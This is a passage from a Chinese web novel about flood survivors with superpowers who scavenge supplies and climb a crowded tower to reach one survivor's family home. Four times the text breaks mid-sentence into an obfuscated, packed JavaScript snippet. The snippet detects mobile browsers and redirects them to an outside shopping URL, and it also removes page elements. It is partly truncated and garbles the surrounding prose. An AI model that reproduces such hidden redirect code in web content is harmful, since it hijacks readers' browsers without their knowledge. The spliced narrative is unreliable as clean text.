哑女还打算用异能说话，她从小就是哑巴，洪水降临后她获得了这个异能，让她感觉自己不再残疾。 所以，她还挺喜欢用这个能力交流的。 就是之前使用了几次，都把人吓得不轻。 现在也把人吓得不轻，苏凤晚看她不想收回异能，连忙道： “你写在纸上吧，这样大家都能看到你叫什么。” 好在纸笔交流的方式，哑女也很熟悉。 她很快在纸上写道： “我叫周莹，今年十七岁。” “你对这儿很熟悉，是本地人吗？” 周莹摇头：“我是D省人，是跟着家里人迁移过来的。” 家里人…… 萧顺清心里一动，问：“她们在哪儿？” 周莹紧了紧拳头，很难过的样子： “我们走散了。” “我想好好活下去，只有活下去，才能有重逢的希望。” 萧顺清：“抱歉。” 她也的确觉得抱歉。 因为只有她自己知道，问出那句话时，她心里隐隐希望周莹没有家人，这样才没有隐患。 意识到自己的念头，也清晰知道这样的想法对于一个未成年小姑娘来说很残忍，她没有表露出来。 她也只是期待重逢而已。 周莹未必不知道失散之后很难再见，可能看似是生离其实是死别。 她只是有抱着这样的期望活下去而已。 萧顺清道完歉，给出一点时间让周莹收拾好心情。 “我们要去Z市，绳子能变长是他的异能，”萧顺清示意了一下躺着的陈师望，“就算要下水也不可能是现在，如果没有别的非要去的地方，就跟我们一起吧。” 萧顺清又对苏凤晚道：“物资的事先放下，我们接下来要进入的地方海拔更高，可能还有没被淹没的。” 她没有说很快就能补齐的话。 毕竟意外太多了。 苏凤晚点点头，坐在船边，这一次，就算是船看起来很平稳，她也抓紧了扶手。 她坐在一旁，在干净的盆中蓄水。 这也不仅仅是储存水方便随时使用，也是为了锻炼自己的异能。 陈师望已经升级了，她也要努力才是。 周莹仍旧显得局促，但经过刚刚的交流，船上的气氛对她来说温和了不少，于是她也自己选了一个角落窝着，抓着船沿。 萧顺清思考一会儿，觉得周莹的能力很不错。 这种能力可比对讲机好用多了，如果以后升级，能够多人通话或者语音范围更长，那是不是就像是个手机？ 萧顺清便对她说道：“异能使用得越多就能越快升级，你可以多练练。” 周莹看看她，听清她的话后，快速点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583011|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头。 但是她这个能力要选择一个通话对象，她不敢打扰看起来是领头人的萧顺清，于是看向苏凤晚。 但是苏凤晚还没想好怎么拒绝，萧顺清就解决了这个难题。 “你可以对躺着那人说，反正他昏迷了，就当是叫醒服务。” 陈师望觉得自己应该是痛得昏厥了。 不然怎么会做这么恐怖的梦。 梦里，一个再熟悉不过的声音，不断在他耳边絮絮叨叨，他听不清楚。 就像是另一个自己坐在他身边在说些什么，难道他死了吗？这就是传说中灵魂出窍，是自己的魂魄在说话…… 在身体和心中同时涌起的冷意之下，陈师望终于感受到那身体伸出传来的痛苦消散。 他睁开眼，看见一片陌生的景象。 水浪被急速破开的声音听得让人舒心，这么久以来，少有的听见水声觉得安定。 船上也有一点小变化，两名成年女性依旧是熟悉的狼狈模样，暴雨逃亡之下，没有人能保持精致。 吸引他注意力的是一个新人。 第一个关注到他醒过来的也是这个新人。 四目相对，陈师望隐约想起来，之前萧顺清是救上来一个陌生人。 他冲对方点点头，微笑。 周莹腼腆一笑。 气氛有些安静。 陈师望忍不住咳嗽一声，终于让萧顺清和苏凤晚也知道自己终于醒了。 经过一次齐心协力作战，萧顺清的态度温和不少。 萧顺清冷淡抬眼：“醒了。” 明明应该是问句，却因为冰冷的语调显得像是在说。 ‘终于舍得醒了，睡得真舒服，呵呵’ 陈师望：…… 陈师望心虚地咽了下口水。 苏凤晚显得热情多了。 “终于醒了？感觉怎么样？”苏凤晚给他倒了一杯水，“谢谢你之前救我。” 陈师望：“客气，客气。” 看了一眼萧顺清，又看了一眼新来的小姑娘，陈师望小声问： “我升级用了很久？” 苏凤晚摇头：“没有啊，大概二十分钟。” 那萧顺清的潜台词应该是自己想多了吧。 他重振旗鼓：“这位，小朋友？” 他先自我介绍了一番，然后便见周莹微微一笑，露出一点牙齿。 紧接着，耳边响起熟悉的声音。 “我叫周莹……” 陈师望：“我靠！！” 鬼啊！ 太惊悚了，以至于陈师望浑身一震，弹射起步，上半身都撑到水里去了。 整个船都被他的动静弄得晃悠一下，直到意识到这是周莹的异能，他仍旧心有余悸。 18.时间 惊慌失措的自我介绍环节过去，萧顺清才转过身来看着她们，显然是要说些什么。 她先是总结：“苏凤莲，能力净化水。陈师望，能力增强物体某种特性，周莹，传音。” “萧顺清，掌控这艘船。” 说到自己时，她适当让船体变化又恢复，用以展示自己的能力。 “现在大家是一条船上的人，彼此熟悉异能，以防意外情况出现，对队友更熟悉，也能更好合作。” 先前陈师望不能慢慢收绳子，让萧顺清意识到，只有熟悉了对方的实力才能更大提升生存率。 当然，实战也能促进彼此互相了解，比如现在她就了解到陈师望的能力水平。 在实战来临之前，更多了解，更提升实战的效率。 只是：“如果大家并不想完全暴露自己的异能，也能够理解，不影响互相配合，也可以接受。” 显然，如果因为故意隐瞒导致不好结果，那就不能接受了。 苏凤晚率先响应：“我能力就是净化水，可以直接喝，升级之后就是净化的速度更快，能够一次性净化的水也更多。没什么攻击性，也不能净化其他液体。” 显然她对自己的异能研究得很透彻，还研究了攻击性，证明她确实很想研究出自己的其他发展方向。 现在只能单纯净化水，能承担的角色主要是后勤。 周莹正在往纸上写，陈师望便第二个道： “我的异能说是加强物体某种特性也没错。目前研究过的就是绳子，喇叭，帐篷什么的，喇叭变大，帐篷变大，绳子能够变长，升级之后大概能延长三百倍，不能变粗或者更坚硬。” “需要触碰到才能变化，我触碰一件物体之后就能知道自己可以增强它的哪一方面。” 想了想，他演示了一下将一个面包拿在手里：“像这个面包，我能把它变得跟砖头一样硬，也许算是沾点攻击性吧。不能作用于生命体，也不能作用于别人异能的产物。” 譬如萧顺清的船。 轮到周莹了，三人等了一会儿，她连忙落下笔来： “范围内传音，目前还没有升级过，不确定以后究竟是扩大范围还是多向传音。现在的传音对象是一个人，范围是一百米，必须是确定的目标，面对面或者听到她的声音都可以。” 在场的人都被周莹的异能传音过，此时心里的想法各异，但也都在默默吐槽。 这异能虽说看着是纯辅助，但传音的时候用的对方的声音这点……猝不及防之下，想必能有极强的精神攻击效果。 因为大家都在讲异能，周莹没有说其他的强项，萧顺清顺便帮她补充道： “她水性很好，可以闭气十分钟以上。” 轮到萧顺清： “我的能力就是这艘船，船的大小，形状都可以由我自由变换，速度和方向需要我自己控制，但是船上存在的东西越多，船的速度和大小都会受限制。” “目前船上能够承载的人数极限是8人。” 她们也都清楚有两个固定的位置要留下，给萧顺清的家里人，眼下名额很宽裕，大家当然更放心。 因为多了一个人，之前的意外也导致物资大幅度减少，关于物资的搜寻计划自然也要有一些变动。 “我们要下水找物资。” 萧顺清说完，众人没有异议。 苏凤晚：“那，我们是不是进入浅水区比较安全？” 萧顺清看起来神情轻松：“我们现在就在最合适的地方，这里是城市区，楼顶到水面的距离有时不超过1米，而且，这次，我们或许可以四个人轮流下水。” 苏凤晚轻轻抽了一口气。 陈师望疑惑指着自己：“我？我说真的，除非水底有条鱼马上就跑了，否则我下水就是被淹死的份儿。” 不是说他不会游泳不会闭气，但是如果非要选一个，不是自称能闭气十分钟以上的周莹更合适吗？ 萧顺清在船上找了找，拿着一个空瓶子晃了晃： “那就得先试验一下。” 陈师望迟疑地指了指自己，在萧顺清的目光里接过空水瓶。 拿到水瓶后，陈师望终于明白萧顺清是什么意思。 在他异能作用下，空水瓶等比例增大，高度大约在两米左右，容纳一个成年人绰绰有余。 这个瓶子还是个瓶口比较大的，现在的样子，钻进去一个人轻轻松松。 她们研究瓶身，得出结论。 确实只是变大，塑料瓶身没有坚不可摧，当然也没有变得柔软。 刀能够割开，但也需要锋利的刀和精准的着力才能轻而易举的划破瓶子。 这就是萧顺清想到的办法。 瓶子变大到能够装人的大小，陈师望的异能操控上限还没到。 萧顺清让陈师望将绳子变长，牢牢绑在瓶身上。 盖上盖子之后，这里面的空气暂时还足够一个人呼吸，放入水里也不会沉。 苏凤晚眉眼弯弯，夸奖陈师望：“可以啊你，这相当于一个小船了。” 但是这样的设备虽然可以保证在水下人的存活，却不好操控，连下沉都很难做到。 借助水瓶进入水中后，她们连怎么装物资都不知道。 于是她们对着水瓶改装一番，在瓶身侧切两刀，安装网兜，口子不大，在水下很难进水，因为网兜的存在，在里面的人还可以通过调整姿势，将要带走的物品装进去。 萧顺清率先进入瓶内：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591571|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我先下去看看，至少先找到合适的物资点。” 她拿着一把刀，意外情况下她可以割开瓶子逃生。 进入水中后，萧顺清感受到瓶子不断向上的浮力，尝试几次后才成功悬浮在水中。 眼前没有水的阻挡，洪水虽然依旧浑浊，但可见度比之前下水好多了。 萧顺清很快发现最合适搜寻的建筑物。 这是一栋七层高的老办公楼。 驱动水面的船，让它带着自己挪过去，萧顺清确认顶楼两层似乎有点好东西。 更深的地方她们潜不下去，不能强求。 萧顺清几番尝试，找到了破口窗户。 应该是被水中的杂物击中打碎的。 萧顺清试着将碎玻璃弄掉更多，她调整方向，用瓶底挤压窗户，又让船反向拉扯，终于能够容纳一个巨型瓶子进入。 不用被污水糊眼，没有洪水直接冲刷，除了感觉使不上劲儿倒没有什么不好。 本来在正常水压之下就不好施展。 船上，十分钟悄然过去。 先前船动了几次，她们知道是萧顺清在调整位置。 因为周莹的传音只能由她单方面发起，所以约定好，如果萧顺清需要立刻上来，就在船上竖起一个木杆。 现在，木杆没有出现，船也不动了。 萧顺清还没有动静，应该是好消息。 但船上的人也难免担心。 明明才过去十分钟，却让人觉得十分漫长难捱。 “应该不会有什么危险吧。” 苏凤晚忧心忡忡，其实她也是在担心自己。 陈师望就好多了，毕竟使用的是他的异能，他还是很相信自己的。 “肯定没问题。” 忽然，船猛地一动，砰一声撞在什么东西上！ 陈师望抓紧船沿，急忙环顾：“这是撞着什么了？” 是被水卷走的杂物，萧顺清在水底看不见水面的情况，没有避开。 萧顺清下水，危险的是她们这件事是在场人没有想到的。 陈师望心有余悸看着水面：“周莹，你能不能传音给萧顺清让她避开水面的东西？” 苏凤晚先前也被撞得心头一跳，但发现是个意外之后反而胆子大了。 “本来萧顺清在做别的事就需要集中注意力，你干嘛打扰她。” “这不是有个副手能看方向吗……”陈师望嘟囔了两句也没有说别的。 她们也不知道周莹有没有传音让萧顺清避开水面的杂物。 反正后来又被撞了几次，让陈师望和苏凤晚共同觉得，应该劝萧顺清少下水。 虽然下了水她依旧能够控制船，但控制不了其他东西来撞她们啊。 19.攀爬 船上终于竖起萧顺清的信号，证明她已经准备好出水。 三人合力，很快将人连同瓶子一起捞上来。 萧顺清出了瓶口，先是将她找到的东西翻出来。 “苹果和梨。这底下是个办公室，冰箱里的水果我都拿出来了，那里面还有很多零食。” 这公司福利待遇还行，好像快到中秋了，还准备了许多月饼。 萧顺清将水下的情况详细讲了一遍，重点讲述她在里面什么位置看见了可以拿的东西。 下一个下水的人是周莹，因为体重太轻折腾了好一会儿，最后装了些水才沉下去。 等了半小时，周莹满载而归。 除了两盒月饼，她还把员工桌面的水缸网上来了。 月饼是过度包装的礼盒装，大铁盒，上下两层，一盒就十二个，小巧玲珑，主打精致。 那水缸里还有一株莲，根茎处卡着一只螃蟹。 看样子是个精心布置过的“水族馆”。 或许原本里面还有鱼，可惜已经游走了。 “这种水生植物，正好来试试能不能种，要是能结藕就好了。” 苏凤晚揽下了后勤保障的工作，把莲拿走准备栽种。 之前规划出来的种植区已经种了两株芋头，莲的根茎埋在里头，那只螃蟹也被放了进去。 幸好现在船变得越来越大，这些东西还是能装得下的。 萧顺清还决定，等到未来船更大之后，种植区要更加规范，还要形成规模。 当然，那时，她应该已经有了超超超大的船。 尽管还有两个人没有下水，但时间有限，陈师望也算是用异能全程出力，所以最后下水的是苏凤晚。 周莹随时和她保持沟通，如果出现意外随时拉她上来。 先前萧顺清拒绝让她对自己使用异能，因为她不想听到自己的声音从耳边响起。 苏凤晚没得选。 同样是半小时。 苏凤晚带着同样两盒月饼回来了。 她脸上还有不甘心：“还有好多呢，都拿不到。” 要是她能把手伸到瓶子外面，一手还能再抱两盒。 可惜不行。 时间也不等人了。 这样下水是安全，但是效率也是真低。 找到的东西还是很不错的1. 月饼是好东西。 高油高糖还适宜保存，外面的大铁盒也能用来存放东西。 收拾好东西，萧顺清又专心控制船前进。 她的心情很不错，就连后面那三个人都能看出来。 显然，她并不是因为物资又多了几个月饼而高兴。 而是这次停顿以后，她们将会一直高速行驶，直到到达最终的目的地。 驶离这片被水淹没的城市，船只在水面上像是一只昂头游行的大鱼，畅通无阻。 时间在各种水的声音里悄然流逝。 不知道雨又下了多久，大概是又打了二十次雷，雨水又增大了几分，船又被浪花溅进来十几次。 她们终于看见了萧顺清曾经描述过的，顶楼是一颗五角星的大楼。 船上的人应该开心的，但是面对着水面上不知生死漂浮着的人，她们无法灿烂地笑起来。 除了偶尔进入城市群时，她们能够见到幸存者或者死去的人。 大部分时候，她们都只会看见茫茫的昏黄的水，还有被冲走的树木残枝。 再次面对同类的呼救，面对她们的痛苦和挣扎，没有人能够开心得起来。 沉重。 可是她们也做不了将全部人救起的救世主。 萧顺清一句话没有说，将船绕着那栋楼行驶，一双清亮的眼睛在不断地寻找什么。 楼顶，楼顶有吗？ 密密麻麻的人群站在顶楼的天台，拥挤得好像蚂蚁筑巢，又像是鱼类乞食，她们在祈求一个活命的机会。 萧顺清移开视线，将目光落在熟悉的窗口。 那里面没有动静，她也并不知道里面有没有人。 萧顺清抿了下唇，转头迅速道：“我要上楼。” 另外三人如临大敌。 紧张地看着不断靠近的建筑物，和每一个虎视眈眈的幸存者对视。 仅仅一米之隔，萧顺清站起身，准备跳进楼梯转角口的阳台。 还露出水面的建筑里，最底层的阳台是没有人的。 萧顺清准备独自进楼，打算跳上去之后，就指挥船开走，这样船上人的安全就能得到保证。 陈师望一把拉住了她。 “等等，我跟你一起上去。” 他飞快解释：“难保不会有人看见你是从船上下去的，不怕一万就怕万一，要是你出事了，我们一船的人都跑不了。” 这话说的，苏凤晚当即也站起来，要跟萧顺清一起上去。 周莹那瘦瘦弱弱的样子，还没站起来，就被萧顺清制止了。 她明白三人的心，也不推辞：“那你们两个跟我一起，注意自己的安全。” 三人陆续上楼，苏凤晚蹬着墙壁爬进楼道后，载着周莹的船立刻飘远。 周莹与萧顺清相互对视一眼，前者点点头。 下一刻，陈师望动作一僵，哭丧着脸：“为什么又是我！” 周莹保持联络的对象又是他。 另外两位不想承受这种惊悚的感觉，他难道就想了吗？ 萧顺清没忍住笑了一下，很快掩饰过去： “跟上。” 她一马当先，踏上楼梯。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603961|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苏凤晚好笑的拍拍他肩膀：“辛苦了，记得随时保持联络。” 从水面第二楼开始，这里就挤满了人。 所有人都知道这里是最高的楼层，就算是最后都会被淹没，也能晚一点被淹死。 萧顺清家在十六楼，她用力挤了两层楼，最后三人缩在楼道角落里喘着气。 “早知道，”萧顺清难得郁闷，“早知道还是自己一个人来。” 三个人一起行动，就要挤三回。 陈师望体型最高大，挤过来的时候挨了最多的骂。 他看着的墙，道：“要不咱们爬上去吧，这也太难挤了。” 就这么挤下去，估计都要变成踩踏事件了。 谁不想往上多爬一层啊。 苏凤晚：“我没学过攀岩啊，再说这也不是学了攀岩就能爬的吧，外面下了这么久的雨，都是青苔！” 萧顺清努力转头，看了看外面的管道，上面的确是看着就能一步滑三米的青苔。 突然，她看向陈师望：“你，第一个爬，谁提出来的谁打样。” 陈师望：…… 陈师望：“行吧。” 苏凤晚疑惑地看着萧顺清。 萧顺清小声道：“大不了……” 她们不想暴露在这么多人面前，所以交谈都遮遮掩掩，苏凤晚还是明白了。 要是真掉下去，就把船开过来。 她当然相信萧顺清控制船的能力，于是也没有异议。 陈师望爬出阳台，很快将一截绳子延长，绑在管道卡口。 他爬上一步，便绑一下，也让后面的人能够踩着绳子，又着力点。 苏凤晚第二个，萧顺清第三。 垂下来的绳子被她们绑在身上，沿着同伴开出来的路一步一步往上爬着。 雨水落在脸上，让人睁不开眼，好在，没有人手滑或者脚滑。 最末端坠着的陌生人也没有…… 萧顺清发现身后不知道什么时候跟了一个人，虽然没有用绳子帮助自己做安全带，但是却踩着绳子做的梯子上来了。 算了，也没有妨碍到她们。 萧顺清并没有对他做什么，只是向上催促。 “加快速度！” 陈师望：“我靠大姐！再快我就不绑梯子了！” 他一低头，发现萧顺清身后跟着个人。 “萧顺清！你身后！” 他以为萧顺清没发现，但萧顺清只是再次道： “加快。” 她只是想远离底下那人，让他不能妨碍到自己而已。 陈师望只好继续前进，好在，因为打结越来越熟练，她们的整体速度确实加快不少。 终于，她们到了十六楼窗口。 这里可全都是人。 20.丢弃 苏凤晚挂在墙外的时候觉得难受，好不容易下来了，她发现自己宁愿挂在外面当蜘蛛侠。 陈师望只能挤在阳台和人群的夹缝里，根本下不去脚。 “拜托让一下好吗？我们就落个脚。” “滚远点！” “难道我们就该下去被淹死吗？你怎么不去死！” “滚开！别挤！再挤我就把你扔下去……” 苏凤晚扒着湿滑的阳台，直接打起了退堂鼓： “我觉得从上面往下走比较容易，咱们去最高层吧。” “到了最上面怎么进大楼？全是人，我靠……” 一道黑影划过。 说话间，三人均是看着一个黑黑的人影从楼上坠落，她们并不知道这是被挤出阳台的，还是自己跳下去的。 “萧顺清，现在怎么办？” 萧顺清不知不觉就已经成为她们中做决定那个人，似乎这也是理所当然的。 她抬头看了看，十七层近在眼前，往下看，大水茫茫一片，看着平静，实际上波涛汹涌。 “那就先上去……等等，先进去！闪开！” 萧顺清还挂在墙外，另外两人已经上了阳台，勉强算是摸到十六楼的边。 听见萧顺清突如其来的示警，两人均是一脸懵。 克制住下意识询问怎么了的念头，两人心一横，踩着一个人的肩膀荡进楼里，陈师望趴在墙上，手上努力抠着一个电箱。 “哥们儿，肩膀踩踩就算了，这我头。” 底下传来淡淡的提醒，陈师望尴尬收腿，但是盘不住啊。 紧接着苏凤晚也来了。 陈师望着急：“就这一个电箱，搭我都费劲，你别扒拉我啊！” 苏凤晚也着急：“那你往里面去点啊！我都快掉下去了！” 她连腿都蜷缩起来，用内侧增大摩擦面积。 就那么一个着力点，这人好歹分她点啊。 “美女，要不你踩我头吧。” 陈师望：…… 苏凤晚：…… 陈师望终于看清了这个男同胞的面孔，陈师望十分失望： “不是，哥们儿，刚刚你跟我可不是这个态度。” 男人神情淡淡，仿佛理所当然：“我可以主动给，但你不能主动要。” 主动踩人家头的陈师望无话可说。 苏凤晚也不想踩陌生人，尴尬拒绝之后努力从陈师望身下扒拉电箱。 “知不知道单人单回路，双人不触电啊，给我留点。” 她们费劲扒拉，底下男人轻轻叹气。 一手一边，托着两人的脚。 那稳稳向上的力道，让她们仿佛感觉自己踩到了真切的陆地。 来不及震惊，她们都听见了一阵嘈杂的惊呼，害怕的尖叫声响彻云霄。 萧顺清的声音只来得及说上一句： “把绳子割断！” 随后，天上好像下人了。 一道道黑影，下饺子一样粘连着从上层滚落。 一整块石板状的阳台狠狠砸下，竟然是十七楼的阳台断了！ 萧顺清刚刚便看见那块水泥浇筑的石板摇摇欲坠，她只来得及将那两人叫进去，并割断绳子以免一带二。 然后，无数飞石坠落，她单手护住头部，感觉到有很多东西砸在她身上。 上方没有固定点，萧顺清成为这条绳子上最顶端的固定人桩。 之所以说是最上头的，因为萧顺清下方还有一个人。 他一声不吭地跟紧了萧顺清，萧顺清看见了头顶坠落的石板，他没看见，但不妨碍他也躲起来。 甚至因为萧顺清在上面顶着，他比萧顺清安全多了。 萧顺清忽然感觉到腰上重力加重，险些让她一个后仰从墙上坠落。 她低头看去。 此时石板已经砸进水里消失不见，但还有许多人因为失去了阻拦，被人挤出建筑物。 现在，就有人幸运地抓住那绳子，因为慌乱和毫无章法，双脚都在晃荡。 连带着整个绳子也晃悠起来，最受其苦的就是萧顺清。 她有心想解开绳子，不管那一群人的死活。 但是，萧顺清还是没有那么做。 她抱着管道，在人像冰雹一样砸下的间隙，甚至还往上爬了一点。 露出一个能让苏凤晚和陈师望看见的人头。 “萧顺清！” 因为面朝外部，陈师望率先叫出声。 萧顺清咬着牙，没功夫回他话。 底下的人还在晃，她忍无可忍，冲着下方怒吼道： “你告诉下面的，要是再不好好扒着管道，我马上把绳子割断！” 离她最近的男人吓了一跳，赶紧点头传话。 在一阵骚乱之后，萧顺清终于感觉到身上没有一直往下乱拽的力道。 重力终究在起作用，不过稳定的力道并不会让她觉得难以承受。 萧顺清继续试着往上爬。 “那个，这位萧小姐是吗？” 萧顺清停下，低头看他。 男人讨好一笑： “你刚刚说割断绳子，你有刀是吗？你是不是不忍心把绳子割断？但是这么做对你负担太重了，不如你把刀给我，我把我下面的绳子割断，不会让你做这个坏人，我们一起爬上去，有你的同伴接应，我们就能得救了！” 萧顺清看着他，笑了一下，她拿出随身携带的小刀，晃了晃。 “你怎么知道我不忍心？真是为我着想心地善良啊。” 男人以为她答应了，笑着伸手冲她要那把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624320|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀。 萧顺清低下身子，好似要将刀交到他手里。 在刀尖落入男人手心时，刀子狠狠一划，血流如注。 男人痛苦惨叫：“啊！我的手！” 手受伤了，他要爬上去就更不容易！ 这个女人！这个女人蛇蝎心肠！她是要弄死他啊！ 萧顺清冷笑：“你要是不想直接从你这儿掉下去，就给我老老实实闭嘴，安安静静，不要惹我不高兴。” 说完，她又向上爬了一步，那男人一心狠，用力拉扯上方的绳子，幸亏萧顺清防备着他，抱住管道没有松手。 看来这人还是没有长记性。 萧顺清冷冷看他一眼，对着阳台内部喊道。 “陈师望！来根绳子！” 两秒之后，萧顺清抓住新绳子，拽了拽，那边竟然纹丝不动。 “我都听见了，这头绑得可严实了，萧顺清，你直接一个人上来吧。” 萧顺清愣了一下，爽快接受这个提议。 “那你们可抓好了！” 萧顺清飞快解开身上的绑着的绳索，将末端一头扔在下方那人的脸上。 “祝你早登十八楼~” 拽着绳子，一步一蹬，上了阳台。 也不知道陈师望她们将绳子绑在了哪里，竟然这么稳当。 萧顺清蹲在阳台，手上还抓着绳子当安全绳。 见她露面，苏凤晚和陈师望都很开心。 萧顺清却顺着绳子看见了末端绑着的……人？ 那人神色淡淡，但是看着腋下绑着的绳子似乎涌起了极深的无奈。 萧顺清：“阿弥陀佛。” 这人还是个光头……那副生死看淡，又有点灵魂出窍的样子，当真是高僧模样。 萧顺清想着毕竟依托于对方自己才上来，感念地念了声佛号。 那男人看她一眼，神情更加死气沉沉。 “我信道。” “什么？！” 另外两人齐声惊讶，陈师望甚至惊叹着摸了摸那滑溜溜的头发。 他刚刚把绳子绑在对方身上，对方默许，他还以为是和尚呢，这么心地善良。 没有说道士心狠手辣的意思。 “哥们儿，手是不是稍微有点暧昧了。” 苏凤晚打了陈师望一下：“多谢道长，多谢道长。” 萧顺清看了看里面挤着的人，因为十七楼的阳台围栏断了，楼上的人虽然少了，十六楼的人却变多了。 有些人退到十六楼，生怕自己也被挤下去。 苏凤晚担忧地看着萧顺清脚下踩着的阳台。 “这个不会也断了吧。” 此话音一落，靠近阳台的几个人纷纷一僵，默契地都往里挤了挤，并且仿佛焊在地上，绝不再挤压阳台。 21.蜘蛛 萧顺清得以落脚。 阳台围栏只有二十公分，她一直站在上面也觉得摇摇欲坠不甚安全。 她松开绳子，陈师望默默收了起来。 三人再次汇合，但上楼更加艰难。 “你确定她们真的会在家里吗？这种情况……” 陈师望话没说尽，毕竟不太好听的话，说出来也是惹人难过。 萧顺清：“就差十三层台阶而已。” 都到了这一步，仅仅十三层台阶而已，她难道看都不看一眼吗？ “那就走吧。” 不再多言，陈师望和苏凤晚也落地，再次感受到人挤人的压力。 “唉，要是咱们中有个蜘蛛侠就好了，贴着墙走多方便。” 虽然是玩笑话，但没人笑出来。 台阶比她们预想的稍微好挤一些。 出了刚刚的事，好些人都想往下走走，她们往上，置换之下，少了很多骂骂咧咧的人。 终于走上台阶，苏凤晚忽然想到萧顺清会不会近乡情怯。 但转头一看过去，萧顺清却很平静，她看着那扇门，很是坚定地往前挤。 走廊上的人也很多，但两面有墙的环境下，人的心情似乎更加平静，没有随时都会被挤进水里的忧虑，她们走到门前，敲门之时还有人给她们让了让。 萧顺清敲着门，陈师望纳闷儿：“你没钥匙？” 萧顺清淡定：“丢了。” 也行吧，丢钥匙也不是什么大事，但是就这么敲门，很难敲开吧。 虽然防盗门隔音很好，但陈师望还是把耳朵贴在门上听。 显而易见，什么也没有。 “要不咱们别敲了，直接撬？” 当着人家的面，说要撬了她家的门，要不是特殊情况，应该挺欠打的。 萧顺清敲门叫了几声，无人应答。 两种情况。 第一，她们在家，因为担心是陌生人所以不开门。 第二，她们不在家，甚至出现了意外…… 萧顺清开始踹门，但纹丝不动。 想要一把踹开防盗门，几率为零。 她回头，目光穿过人群，锁定在那个道教徒身上。 对方在角落里不动如山，没有任何求生的动作。 凭对方的力气，想要穿过人群，去到最顶层不存在任何问题。 所以他一动不动，仿佛是平静等待飞升。 萧顺清：“他叫什么？” 两人：“没问。” 毕竟萍水相逢。 萧顺清便喊道：“大哥！道士大哥？！” 无人应答。 萧顺清：“那个光头！” 光头道教徒应声投来目光，四目相对，尴尬溢于言表。 道教徒：…… “做什么？” “帮忙，开个门。” “未经允许，私闯民宅，从犯同罪。” 陈师望吐槽：“大哥你不是道士吗？怎么还兼职普法。” “道士也要遵纪守法啊。” 苏凤晚打断：“行了，怎么还聊上了，办正事啊！道士哥，这就是屋主，她同意的！” 道士还是没答应，但这么聊天确实费劲，不符合他飘飘欲飞的气质。 于是他往上走走，轻松自如便到了她们三个眼前，仿佛刚刚她们三个差点被挤成肉饼的样子是在演戏。 虽然没有明说，但三人都怀疑这人应该是有异能的。 萧顺清直言：“这是我家，帮我开门，我们可以谈谈交易。” 道教徒竖起一根手指。 萧顺清皱眉：“什么？” 一瓶水，一袋面？还是什么。 道教徒手指前伸，然后把人拨开。 “让让，本道长今天就让你们看看，不是只有和尚心地善良。” 手掌轻巧一按，门锁应声而开。 萧顺清立刻推门而入，里面却并非没人。 但是，也不是她想象中的那两位老人。 “你们是谁？！” 几乎是同时开口，萧顺清冷冷一笑，看向客厅的破窗。 这几人应该是从这里进来的。 “这家的人呢？你们把她们怎么了？！” 对面显然是一伙的，三个男性，身上的装备还穿着，大大咧咧地躺在沙发上，吃着东西。 外面那么多幸存者，不是没有人想到进入别人家中，那样就能有更多的空间容纳更多的人。 但是显然，不是谁都有能力从前门进入，从窗户走…… 十六楼，这些人竟然能从窗户走进来。 萧顺清上前一步，手里的刀拿了出来，而同行的三人默默站在她身后。 四打三。 对面的三个人却轰地笑起来。 “你是谁啊？是那两个老家伙的孙女儿？怎么，现在才赶回来，还带着这么多人，哟，真可怕。” “你以为现在还讲究人多势众啊？不是，就你们这仨瓜俩枣，还有两个女人哈哈哈哈。” “废话什么，你们想怎么样，说吧。” 最后说话那身穿了一身黑衣，布料上似乎沾着白色的棉絮。 黑衣男开口后，其他两人并没有反驳，这是三人中的头头。 萧顺清几步上前，直视着黑衣男。 “告诉我，两个老人怎么了？” 黑衣男不耐烦：“小孩儿尿了你知道把了，人死了你知道找了。” 萧顺清眼睛瞬间通红，一把扑过去，用刀抵着他脖子。 “你说什么？！你把她们怎么了！” 黑衣男脖子一痛，没想到这女人竟然敢直接拿刀冲上来。 “艹……” 